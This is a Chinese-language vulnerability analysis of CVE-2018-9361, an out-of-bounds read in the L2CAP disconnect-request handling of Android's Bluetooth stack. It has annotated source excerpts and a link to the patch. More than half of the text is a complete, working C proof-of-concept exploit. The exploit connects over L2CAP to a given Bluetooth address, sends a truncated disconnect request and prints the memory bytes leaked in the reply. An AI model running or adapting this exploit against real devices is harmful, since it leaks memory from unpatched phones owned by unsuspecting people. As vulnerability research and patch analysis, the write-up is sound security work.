【蓝牙】CVE-2018-9361 process_l2cap_cmd_L2CAP_CMD_DISC_REQ未判断缓冲区边界造成信息泄露

补丁

  • https://android.googlesource.com/platform/system/bt/+/b66fc16410ff96e9119f8eb282e67960e79075c8

当我们找不到CCB的时候,就会调用l2cu_send_peer_disc_rsp()

/*******************************************************************************
 *
 * Function         process_l2cap_cmd
 *
 * Description      This function is called when a packet is received on the
 *                  L2CAP signalling CID
 *
 * Returns          void
 *
 ******************************************************************************/
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
    ...
    /* An L2CAP packet may contain multiple commands */
    while (true) {
        /* Smallest command is 4 bytes */
        p = p_next_cmd; // p此时作为指针在缓冲区游动
        if (p > (p_pkt_end - 4)) break; // 保证剩余缓冲区至少还有4字节的数据剩余
    
        ...
        switch (cmd_code) {
            ...
            case L2CAP_CMD_DISC_REQ:
                // 取了4字节,取值前未判断:p + 2 > p_pkt_end
                STREAM_TO_UINT16(lcid, p);
                STREAM_TO_UINT16(rcid, p);

                p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
                if (p_ccb != NULL) {
                    if (p_ccb->remote_cid == rcid) {
                        p_ccb->remote_id = id;
                        l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
                    }
                } else
                    l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
                break;
        
                ...
        }
    }
}

这个函数用来发送停止连接的包

/*******************************************************************************
 *
 * Function         l2cu_send_peer_disc_rsp
 *
 * Description      Build and send an L2CAP "disconnect response" message
 *                  to the peer.
 *
 *                  This function is passed the parameters for the disconnect
 *                  response instead of the CCB address, as it may be called
 *                  to send a disconnect response when there is no CCB.
 *
 * Returns          void
 *
 ******************************************************************************/
void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id, uint16_t local_cid, uint16_t remote_cid) {
    BT_HDR* p_buf;
    uint8_t* p;

    // 构建数据包头部
    p_buf = l2cu_build_header(p_lcb, L2CAP_DISC_RSP_LEN, L2CAP_CMD_DISC_RSP, remote_id);
    if (p_buf == NULL) {
        L2CAP_TRACE_WARNING("L2CAP - no buffer for disc_rsp");
        return;
    }

    // p指向缓冲区
    p = (uint8_t*)(p_buf + 1) + L2CAP_SEND_CMD_OFFSET + HCI_DATA_PREAMBLE_SIZE + L2CAP_PKT_OVERHEAD + L2CAP_CMD_OVERHEAD;

    // 将读取的4字节写入缓冲区发送回去
    UINT16_TO_STREAM(p, local_cid);
    UINT16_TO_STREAM(p, remote_cid);

    l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"

#define SIGNALLING_CID 0x0001

#define L2CAP_CMD_DISC_REQ 0x02

#define UINT32_TO_STREAM(p, u32)     \
  {                                  \
    *(p)++ = (uint8_t)(u32);         \
    *(p)++ = (uint8_t)((u32) >> 8);  \
    *(p)++ = (uint8_t)((u32) >> 16); \
    *(p)++ = (uint8_t)((u32) >> 24); \
  }
#define UINT24_TO_STREAM(p, u24)     \
  {                                  \
    *(p)++ = (uint8_t)(u24);         \
    *(p)++ = (uint8_t)((u24) >> 8);  \
    *(p)++ = (uint8_t)((u24) >> 16); \
  }
#define UINT16_TO_STREAM(p, u16)    \
  {                                 \
    *(p)++ = (uint8_t)(u16);        \
    *(p)++ = (uint8_t)((u16) >> 8); \
  }
#define UINT8_TO_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }

static void show_data(void *data, int len)
{
    int i;
    uint8_t *p = (uint8_t*)data;
    for(i = 0; i < len ; i++) {
        printf("%02x " ,p[i]);
        if(i > 0 && i % 7 == 0)
            printf(" ");
        if(i > 0 && i % 15 == 0)
            printf("\n");
    }
    printf("\n");
}

void recv_and_leak(int sock_fd)
{
    uint8_t recv_buf[512];
    int ret;

    memset(recv_buf, 0, 512);
    ret = recv(sock_fd, recv_buf, 512, 0);
    if(ret == -1) {
        perror("[*] recv : ");
        return;
    }
    uint8_t *p = recv_buf;
    show_data(p, ret);
    // printf("leak data: %04x\n", trans_num);
}

void send_trigger_req(int sock_fd)
{
    uint8_t buffer[100];
    memset(buffer, 0, 100);

    uint8_t *p = buffer;
    uint8_t cmd = L2CAP_CMD_DISC_REQ;
    *p++ = cmd;

    uint8_t id = 0x00;
    *p++ = id;

    uint16_t cmd_len = 0x0000;
    UINT16_TO_STREAM(p, cmd_len);

    send(sock_fd, buffer, p - buffer, 0);

    recv_and_leak(sock_fd);
}

int main(int argc ,char* argv[]){
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;
    struct bt_security btsec;

    if(argc < 2){
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if(sock_fd == -1){
            perror("[*] socket create failed : ");
            return -1;
        }

        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = AF_BLUETOOTH;
        local_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        local_l2_addr.l2_bdaddr_type = 0;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));


        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1){
            perror("[*] bind()");
            goto out;
        }
	
        memset(&btsec, 0, sizeof(btsec));
        btsec.level = BT_SECURITY_LOW;
        
        if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0){
          perror("[*] setsockopt error");
          goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = AF_BLUETOOTH;
        remote_l2_addr.l2_bdaddr_type = 0;//BDADDR_LE_PUBLIC;
        remote_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        //remote_l2_addr.l2_psm = htobs(6);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        printf("connect %s\n", dest);
        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {  
            perror("[*] can't connect");
            goto out;
        } 

        send_trigger_req(sock_fd);
        //sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}

Last updated